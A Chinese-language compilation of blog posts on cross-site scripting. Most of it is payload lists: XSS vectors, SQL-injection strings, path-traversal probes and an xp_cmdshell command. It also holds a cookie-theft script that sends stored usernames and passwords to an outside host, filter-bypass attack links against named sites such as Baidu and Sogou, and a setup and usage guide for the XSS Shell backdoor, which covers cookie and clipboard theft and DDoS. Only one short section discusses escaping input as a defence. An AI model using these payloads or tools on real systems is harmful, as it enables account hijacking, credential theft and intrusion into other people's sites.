XSS跨站测试代码大全
http://www.cnblogs.com/dsky/archive/2012/04/06/2434768.html'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
========
XSS代码触发条件,插入XSS代码的常用方法
http://www.2cto.com/article/201207/140004.html1.脚本插入
(1)插入javascript和vbscript正常字符。
例1:<img src=”javascript:alert(/xss/)”>
例2:<table background=”javascript:alert(/xss/)”></table>’/在表格中插入脚本
例3:<img src=”vbscript:msgbox(“a”)”>
(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符
例1:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十进制字符j 。
例2:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十六进制字符j 。
(3)插入混淆字符。在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到
javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。
例1:<img src=” javascript:alert(/a/)”> ‘/插入到代码头部,其中 可写成 ,效果一样
例2:<img src=”java scr ipt:alert(/a/)”> ‘/插入到代码中任意位置,其中 可写成
例3:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是回车符的16进制形式
例4:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是换行符的16进制形式
2.样式表 www.2cto.com
(1)利用CSS代码@import、expression触发XSS漏洞。
例1:@import “http://web/xss.css”; ‘导入外部带有XSS代码的CSS样式表。
例2:@import’javascript:alert(“xss”)’; ‘调用javascript脚本触发漏洞
例3:body{xss:expression(alert(‘xss’))} ‘在内部样式表中加入expression事件
例4:<img style=”xss:expression(alert(“xss”))”>’在内嵌样式表中加入expression事件
(2)在CSS代码中加入javascript和vbscript脚本
例1:body{background-image:url(javascript:alert(“xss”))}
例2:body{background-image:url(vbscript:msgbox(“xss”))}
(3)转换字符类型,以十六进制字符替换其中或全部的字符:
例1:@\0069mport:url(web/1.css);’//将其中的i转为\0069
例2:body{xss:\0065xpression(alert(‘xss’))}’//将e转换为\0065
例3:body{background-image:\0075\0072\006c…}’将url全转为16进制
(4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。
例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;
========
一些经典的XSS跨站代码整理
http://www.jb51.net/hack/56973.html
<!-- " --!><input value="><img src=xx:x οnerrοr=alert(1)//">
<script/οnlοad=alert(1)></script> IE9
<style/οnlοad=alert(1)>
alert([0x0D]-->[0x0D]1<!--[0x0D])
1<!--i
document.write('<img src="<iframe/οnlοad=alert(1)>\0">'); IE8
JSON.parse('{"__proto__":["a",1]}')
location++
IE valid syntax: 我,啊=1,b=[我,啊],alert(我,啊)
alert('aaa\0bbb') IE only show aaa http://jsbin.com/emekog
<svg><animation xLI:href="javascript:alert(1)"> based on H5SC#88 #Opera
Function('alert(arguments.callee.caller)')()
firefox dos? while(1)find();
<div/style=x:expression(alert(URL=1))>
Inject <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> enabled css expression,breaking standard mode!
<applet code=javascript:alert('sgl')> and <embed src=javascript:alert('sgl')> umm...cute FF!
<math><script>sgl='<img/src=xx:x οnerrοr=alert(1)>'</script> chrome firefox opera vector
<svg><oooooo/oooooooooo/οnlοad=alert(1) > works on webkit~
<body/οnlοad=\\\vbs\\\::::::::alert+'x'+[000000]+'o'+'x'+[000000]::::::::>
vbs:alert+-[]
<body/οnlοad=vbs::::::::alert----+--+----1:::::::::>
Firefox vector <math><a xlink:href="//mmme.me">click
<svg><script>a='<svg/οnlοad=alert(1)></svg>';alert(2)</script>
Inj>> <script/src=//0.gg/xxxxx> << <script>...</script> less xss
[code]Webkit X-XSS-Protection header is enabled just now :P
<svg/οnlοad=domain=id> 22 letters e.g http://fiddle.jshell.net./KG7fR/5/show/
<?xml encoding="><svg/οnlοad=alert(1)// >">
<a "<img/src=xxx:x οnerrοr=alert(1) >x</a> Distinctive IE
Also <a `="<img/οnerrοr=alert(1) src=xx:xx>'></h1>">x</a>
<h1 "='<img/οnerrοr=alert(1) src=xx:xx>'></h1> IE only
<1h name="<svg/οnlοad=alert(1)>"></1h>
<img ="1 src=xxx:x οnerrοr=alert(1)//" > works in not-IE
javascript=1;for(javascript in RuntimeObject());javascript=='javascript'
<body/οnerrοr=alert(event)><img/src=javascript:throw[Object.getOwnPropertyNames(this)]> Firefox Sanbox object
<img src='javascript:while([{}]);'> works in firefox
for(x in document.open); Crash your IE 6:>
localStorage.setItem('setItem',1)
Only to find '?'.toUpperCase()==='?'.toUpperCase()
J? H? T? W? Y? i? length==2
'?'.toUpperCase()=='I'
Also '?'.toUpperCase()=='SS'
'?.toUpperCase() =='FF'// alike: ? FI ? FL ? FFI ? FFL ? ST ? ST
#Opera data:text/html;base64,<<<<<<<<PH Nj cmlwdD5hb我-勒-个-去GVyd CgxKTwvc 2NyaXB0Pg=>>>>>>>>>>
Firefox always the most cute data:_,<script>alert(1)</script>
<a href="ftp:/baidu.com">xx</a>
http://?????????? works in Firefox
RegExp.prototype.valueOf=alert,/-/-/-/;//IE,is there anything else?
location='javascript:alert(1)'
for({} in {});
興味深いhttp://jsbin.com/inekab for Opera only
<a href=https:http://www.google.com>x</a> That's a relative path?
document.frames==window.frames
<a href="jar:xxx" id=x></a> x.protocol=='http:' on #firefox
(0).constructor.constructor=function(){alert(eval(arguments[0].substr(6)))} Easy to decode jjencode and aaencode :D
127.0x000000001==127.0.0.1
<input value="sefewfewf"/> Chrome input value block
<svg><xmp><img/οnerrοr=alert(1) src=xxx:x />
<img src/="><img src=xxx:x οnerrοr=alert(1)//">
有趣的isindex <isindex formaction=javascript:alert(1) type=submit >
chrome:xx - >chrome://crash/ crash?
<form action=javascript:alert(1) /><input> Chrome input enter fucked!
<form/><button/><keygen/> chrome send empty key,is funny~_~
<form/><input/formaction=javascript:alert(1)> Because <form> not a void element.[/code
[code]<form><input/name="isindex"> when name are isindex does not send key.
<form id=x ></form><button form=x formaction="javascript:alert(1)">X It like http://html5sec.org/#1 but only chrome support .
<script language="php">echo 1 ?> Fascinating.
fvck:for(_?in?this)_['match'](/.Element$/)&&console.log(_)
location.reload('javascript:alert(1)') //ie only,lol~
{}alert(1)
Twitter @jackmasa =P
========
跨站脚本攻击XSS
http://www.cnblogs.com/dolphinX/p/3391351.html跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
一个简单的留言板
我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表
复制代码
<!DOCTYPE html>
<html>
<head>
<?php include('/components/headerinclude.php');?></head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: dashed 1px #ccc;
margin: 4px;
}
</style>
<script type="text/javascript" src="/js/cookies.js"></script>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">Your Comment</div>
<div style="padding:6px;">
Nick Name:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
Comment:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">Comments</div>
</div>
<?php
require('/components/comments.php');
if(!empty($_POST['name'])){
addElement($_POST['name'],$_POST['comment']);
}
renderComments();
?>
</div>
</form>
</body>
</html>
复制代码
addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的
image
XSS
因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入
image
这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子
利用xss窃取用户名密码
当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
image
我们看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php
发送了一个get请求
http://test.com/index.php
复制代码
<?php
if(!empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
try{
$path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$username\t $password\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){
}
}
?>
复制代码
这样恶意用户就把访问留言板的用户的信息窃取了
怎么预防
上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交自动做了XSS验证。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。
========
跨站代码大全
<script>alert("跨站")</script> (最常见的跨站代码)<img scr=javascript:alert("跨站")></img>
<img scr="javascript: alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?是用tab键弄出来的空格)
<img scr="#" οnerrοr=alert(/跨站/)></img>
<img scr="#" style="xss:e-xpression(alert(/xss/));"></img>
<img scr="#"/* */οnerrοr=alert(/xss/) width=150></img> (/**/ 表示注释)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:e-xpression (alert('xss'))}</style>
<div style={left:e-xpression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left:\0065\0078ression (alert('xss'))}></div>
html实体: <div style={left:&#x0065;xpression (alert('xss'))}></div>
unicode:<div style="{left:expRessioN (alert('xss'))}">
上面是普通的
163的filter过滤语句跨站代码
<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));">
filter己将上述label理解为三个label,语法分析与其后语句关联分析时己失效.
exploit:<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));"> background:expression((window.rrr==1)?'':eval('rrr=1; eval(unescape(alert(/t00ls低调发展/.source)));'));}'{}</style><div id="m">hhhhh</div> (己和谐)
不懂CSS的 百度下 "Css中的filter常用滤镜属性及语句大全"
上面中window.rrr==1等语句是给window对象的方法定义一个值,判断这个值运行一次.
来看看HTML5跨站代码
引入媒体类测试代码Example:
<video οnerrοr=javascript:alert(1)><source>
<audio οnerrοr=javascript:alert(1)><source>
表单点击测试代码Example:
<form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)
>X
鼠标事件测试代码Example:
Before HTML5:
<input type=text value=‐‐>Injecting here οnmοuseοver=alert(Injected value)>
With HTML5:
<input type=text value=‐‐>Injecting here οnfοcus=alert(Injected value) autofocus>
DIV 测试代码Example:
<div draggable=true οndragstart=event.dataTransfer.setData(text/plain, Evil data)>
<h3>DRAG ME!!</h3>
</div>
引入框架测试代码Example:
<iframe src=http://www.sitedirsec.com sandbox></iframe>
再看看 百度想跨站代码 分两个0.0
这些是曾经的..
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));
tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:
<input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));">
这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:
eval(unescape(location.hash.substr(1)))
给window对象的方法定义一个值,判断这个值运行一次代码:
(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1
最后得到完美的攻击链接:
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29
恩 很好的思路 用给window对象的方法定义一个值,判断这个值运行一次代码 以及 # 搞定火狐.
还有 80vul的 搜狗跨站 (已经修补)
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" οnmοuseοver=window["al"+"ert"](1)
搜狗过滤的关键字alert 这样分开写 一样能跨
献丑了,有什么写得不好的 说吧.. O(∩_∩)O~
========
巧用eval 进行xss攻击-绕过输入长度限制攻击页面
http://www.weixinla.com/document/20542228.html今天聊点技术话题:XSS 攻击「跨站脚本攻击」的一种特殊方式。
XSS 攻击是啥?先看下定义:
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,比如这些代码包括HTML代码和客户端脚本。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。
举个栗子你可能就能体会到这种攻击有啥危害了。
2011年6月28日,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博和私信,并自动关注一位名为hellosamy的用户。
巧用eval 进行xss攻击-绕过输入长度限制攻击页面
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
这是典型的XSS蠕虫,通过社交传播迅速扩散,当用户浏览被注入恶意代码的页面时,拿到用户Cookie,用户身份被劫持,比如这里的自动发微博、自动关注某人。
所以,XSS攻击是绝大部分Web 开发者都需要防范的,所有产品经理都要重视的一个安全风险。然而,很多时候我们的页面防范措施都不够全面。
今天,我们就以一个简单的XSS漏洞攻击过程,来看看一个看似防守严密的页面,会怎样被黑客利用。
来看看优酷的一个活动页面,来到 http://minisite.youku.com/autobaojun/ ,看到有表单,一般有输入的地方就是XSS攻击的重要入口:
巧用eval 进行xss攻击-绕过输入长度限制攻击页面
(1)点击我要参加,弹出浮层。
(2)测试得知 姓名字段没有过滤。
(3)但是输入 <img src=# οnerrοr=alert(document.cookie) /> 之后会被截断到 30字符以内。所以,数据库字段设计在 30 字符以内,插入的时候自动截断了。
(4)所以接下来重点就变成:如何构造尽量短的XSS攻击代码。
(5)经分析 活动列表页 http://minisite.youku.com/autobaojun/list.php 按照创建时间降序排列,所以,只要构造几条30字符以内的xss代码,保证这几条代码在同一个页面,都可以达到攻击的目的。
原理:把XSS代码片段A拆成A1、A2、A3、A4、A5几个片段,因为列表页是降序排列的,把拆出来的代码片段按A5、A4、A3、A2、A1 的顺序拼接起来,用eval()函数执行拼接起来的代码片段即可。
于是,我们构造如下的代码:
'<script>eval(z);</script>',
'<script>z+="ookie);"</script>',
'<script>z+="ent.c";</script>',
'<script>z+="docum";</script>',
'<script>z="alert(";</script>',
逐条插入到 姓名字段。
注册送1666元组合红包 【点击进入】
红包比例2%比例抵扣 使用20元红包投月标,相当于加息24%
查 看
如上,成功拿到cookie.
拿到cookie 之后可以干什么呢?你再回去看看新浪微博那个案例就知道了~
在一些以cookie为登录凭证的网站,拿到了cookie,就等于拿到了你的登录身份,也就是我们常看到的,为啥我的账号发了一些莫名其妙的东西?
以上,我们就巧用eval,利用一系列很短的XSS代码片段拼接,完成了绕过输入长度限制攻击页面。
========
黑客介绍跨站攻击工具XSS Shell脚本安全
http://www.unjs.com/ziliaoku/dn/202077.htmlXSS跨站脚本攻击属于被动式攻击,对于急于求成的朋友来说,往往不会被重视,而喜欢挂马的朋友则喜爱有加,
黑客介绍跨站攻击工具XSS Shell脚本安全。通过构造特殊的页面,再把调用该页面的代码嵌在被攻击者网站的某一网页中,而当有人浏览该页面时,在后台即已执行了内嵌的代码。对于被调用页面的构造,根据不同的需求功能也不一样。最常见的是挂马,比如利用IE漏洞悄悄在浏览者的计算机上种植木马;而另一种方式则可以利用互动式页面的各种语言(如ASP,PHP,JSP等)来构造一个完全达到自己需求的页面,而不是简单地做一种达到目的的“介质”。
对于第一种攻击来说,问题是显而易见的。你得面临的问题起码有四个,分别是相应的系统漏洞、系统补丁、杀毒软件以及防火墙。也就是说,首先你要保证手上有下载并执行漏洞的利用软件,然后祈祷对方没有及时打补丁的习惯,接着下载了软件开始祈祷杀毒软件别把你的木马给Kill掉,最后在通信的时候希望对方的防火墙别阻拦你;而且木马个头一般不小,在浏览器中执行是有异常症状的(起码我们看黑防的人会起疑心)。而后一种攻击方式则不同了,它基本遵循SQL Injection的最大优点:穿透防火墙。除了网站系统的漏洞外,基本不需要其他条件支持。因为控制端的网页在自己服务器上而非类似WebShell放在目标服务器上,所以即使对方的杀毒软件再厉害也没有用的。说了这么多,今天的主角也该上场了,它就是XSS Shell。
XSS Shell可以作为一个强大的后门和远程管理软件。这个概念首先是由“XSS-Proxy http://xss-proxy.sourceforge.net/”提出的,XSS Shell可以向木马发送请求和接受相关数据,并且以被嵌入代码的页面为后门。这里提醒大家的是,被攻击者不一定是服务器,服务器只是一种介质,真正被攻击的是浏览服务器上我们动过手脚的页面的人。
XSS Shell的配置
XSS Shell解压后在目录下有3个文件夹和两个文件,一个是TXT说明,一个是ASP文档。我们把文件夹xssshell和“xssshell.asp”放在自己的服务器上,db文件夹放在服务器上一个隐蔽或是非Web目录下,确保其不能被HTTP下载。
1) xssshell.asp的配置
打开xssshell.asp,找到“SERVER CONFIG”部分,代码如下所示。
// You XSSShell Server
var SERVER = "http://attacker/";
// This file's name
var ME = SERVER + "xssshell.asp?p=1" ;
// Connector file (can be in php, cfm, pl etc. just stick with implementation)
var CONNECTOR = SERVER + "xssshell/connector.asp";
// Commands file (can be in php, cfm, pl etc. just stick with implementation)
var COMMANDS_URL = SERVER + "xssshell/commands.asp";
这里用于定义服务器,我们把Server的值换成自己的IP就可以了,如把http://attacker/换成http://127.0.0.1/。为了保险起见,最好再核查一下修改后的Server是否可以让后面的ME、CONNECTOR、COMMANDS_URL的值可行。
2) xssshell/db.asp的配置
这里主要修改数据库的路径和进入管理的密码。
' Password protection added
Option Explicit
'60 minutes
Session.Timeout = 60
'Open In Live Enviroments
'On error resume next
'// DATABASE CONFIGURATION
Const DBPATH = "..\db\shell.mdb"
'Activity check time as seconds
Const Activity = "10"
Const SQLSERVER = False
在“Const DBPATH=”后面修改自己的数据库的地址,
电脑资料《黑客介绍跨站攻击工具XSS Shell脚本安全》(http://www.unjs.com)。管理登录的默认密码是“w00t”,大家可搜索“w00t”后替换为自己的密码。
3)调试成功
该软件还提供了一个“sample_victim”文件夹,从字面上就可以猜出是例子的意思,文件夹里有四个Web页面,其中的default.asp运行后如图1所示。
看似正常的页面,实际上其中已经嵌入了我们需要的代码:。也就是说,以后我们只需要在可以跨站的地方直接输入这段代码就可以了。
图2是XSS Shell的管理页面:http://[YOURHOST]/xssshell/,输入密码后即可进入,VICTIMS下已经显示有一个“受害者”了。由于所有页面都是在自己的计算机上,所以下面我再给大家做个实例演示。
首先确定自己服务器的IP。打开CMD输入IPCONFIG,得知自己的IP为:125.71.*.*,修改为。接着打开一个存在跨站漏洞的页面,如图3所示,然后发表留言,如图4所示。
留言内容里的代码看来被执行了哦(没有任何显示)。这里我发现一个现象,比如我提交了一个含有“”的留言,如果我再提交一个,则上次提交的留言会被覆盖或是被删除。我尝试了几个ASP系统都是如此,如果重复使用这句代码,甚至会把对方的系统搞乱!
功能演示
如图5所示,画线的框内都是XSS Shell可以执行的功能。下面我们对其进行一一说明。
1)getCookie()
这个功能用于获取Cookie,单击它后如图6所示,会显示目标的Cookie(Logs跑到下面了)。这个功能还是很有用的,比如以前的动网前台提权漏洞就需要先获得管理员的Cookie。
2)getSelfHtml()
这个功能用于获取用户当前的网页源代码,很简单,大家试用一下就知道了。
3)alert()
这个功能一看就知道是向对方发送消息的。它利用的是Alert函数,所以对方接收到的消息是以提示框的形式显示的,如图7所示。输入消息的内容在管理页的参数框内写入,如图8所示。
4)eval()
这个功能可以在受害者的浏览器里执行任意脚本,内容也是在图8的参数框里输入。比如输入javascript.:alert("dd")后点击“eval()”链接,就会在受害者那边弹出窗口。
5)prompt(on>)
这个功能就比较好玩了。在参数框中输入内容(如你爱我吗?)后执行,在受害者的浏览器中会有如图9所示的提示。在Logs中,我们还可以看到对方的回答,如图10所示。
6)getMouseLog()
这个功能可以记录受害者鼠标的情况,并将其保存在日志中。
7)getClipboard()
这个功能用于获取受害者的内存剪贴板上的内容,不过目前只对IE有效,FireFox无法实现。
8)getInternalIP()
这个功能用于获取受害者的IP地址,不过目前该功能有缺陷,只对 Mozilla+JVM有效。
9)getPage()
这个功能是以受害者的身份请求一个网页,在参数框里填入地址,可以是相对的也可以是绝对的地址。不过为了避免出错,我们还是使用相对地址,请求后的结果如图11所示。在XSS Shell管理页面的下方还有一个Viewer小型浏览器,图中未显示出的图片还是因为路径的原因。利用这个功能,我们可以用于绕过某些验证从而实现提升权限。
最后两项功能是DDoS()和Crash(),DDOS就不用我介绍了,大家都知道;而Crash()则是针对目标CPU发起的攻击,两者在达到的效果上是差不多的。另外,XSS Shell成功发出指令后,有时会出现如图12所示的画线处的数字,它是攻击号码,我们不必理会它,稍后会自动生成结果的,就如同下面的那些结果一样。
关于XSS Shell,到这里就算介绍完了。我不得不说,它是一款很不错的攻击软件,为我们提供了一种新的方式和思路,也大大方便了我们以后在入侵中的使用,有兴趣的朋友可以自己试试看。
========
77种网站XSS跨站攻击脚本语法
https://www.exehack.net/867.htmlXSS又叫CSS (Cross-Site Script) ,跨站脚本攻击。恶意攻击者往Web页面里插入恶意html代码
当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
XSS分两类:
一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。
另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。
如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.zoyzo’</script>
<script>z=z+’.cn/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符
perl -e ‘print “<IMG SRC=javascript:alert(”XSS”)>”;’ > out
